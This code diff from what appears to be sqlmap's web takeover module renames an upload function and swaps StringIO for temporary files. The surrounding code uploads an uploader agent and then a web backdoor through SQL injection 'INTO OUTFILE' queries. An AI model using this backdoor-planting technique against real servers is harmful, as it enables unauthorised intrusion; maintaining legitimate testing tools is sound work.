2424
2525import os
2626import re
27- import StringIO
27+ from tempfile import TemporaryFile
2828
2929from lib .core .agent import agent
3030from lib .core .common import fileToStr
@@ -77,10 +77,10 @@ def webBackdoorRunCmd(self, cmd):
7777
7878 def webFileUpload (self , fileToUpload , destFileName , directory ):
7979 file = open (fileToUpload , "r" )
80- webStreamUpload (self , file , destFileName , directory )
80+ webFileStreamUpload (self , file , destFileName , directory )
8181 file .close ()
8282
83- def webStreamUpload (self , stream , destFileName , directory ):
83+ def webFileStreamUpload (self , stream , destFileName , directory ):
8484 if self .webApi == "php" :
8585 multipartParams = {
8686 "upload" : "1" ,
@@ -157,17 +157,17 @@ def webInit(self):
157157 logger .warn ("invalid value, it must be 1 or 3" )
158158
159159 backdoorName = "backdoor.%s" % self .webApi
160- backdoorStream = StringIO .StringIO (decloak (os .path .join (paths .SQLMAP_SHELL_PATH , backdoorName + '_' )))
160+ backdoorStream = TemporaryFile ()
161+ backdoorStream .write (decloak (os .path .join (paths .SQLMAP_SHELL_PATH , backdoorName + '_' )))
162+ backdoorStream .seek (0 )
161163
162164 uploaderName = "uploader.%s" % self .webApi
163- uploaderStream = StringIO .StringIO (decloak (os .path .join (paths .SQLMAP_SHELL_PATH , uploaderName + '_' )))
164-
165- uploaderStr = uploaderStream .read ()
165+ uploaderContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , uploaderName + '_' ))
166166
167167 for directory in directories :
168168 # Upload the uploader agent
169169 outFile = os .path .normpath ("%s/%s" % (directory , uploaderName ))
170- uplQuery = uploaderStr .replace ("WRITABLE_DIR" , directory )
170+ uplQuery = uploaderContent .replace ("WRITABLE_DIR" , directory )
171171 query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
172172 query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
173173 query = agent .prefixQuery (" %s" % query )
@@ -192,7 +192,7 @@ def webInit(self):
192192 infoMsg += "on '%s'" % directory
193193 logger .info (infoMsg )
194194
195- self .webStreamUpload (backdoorStream , backdoorName , directory )
195+ self .webFileStreamUpload (backdoorStream , backdoorName , directory )
196196 self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
197197 self .webDirectory = directory
198198
0 commit comments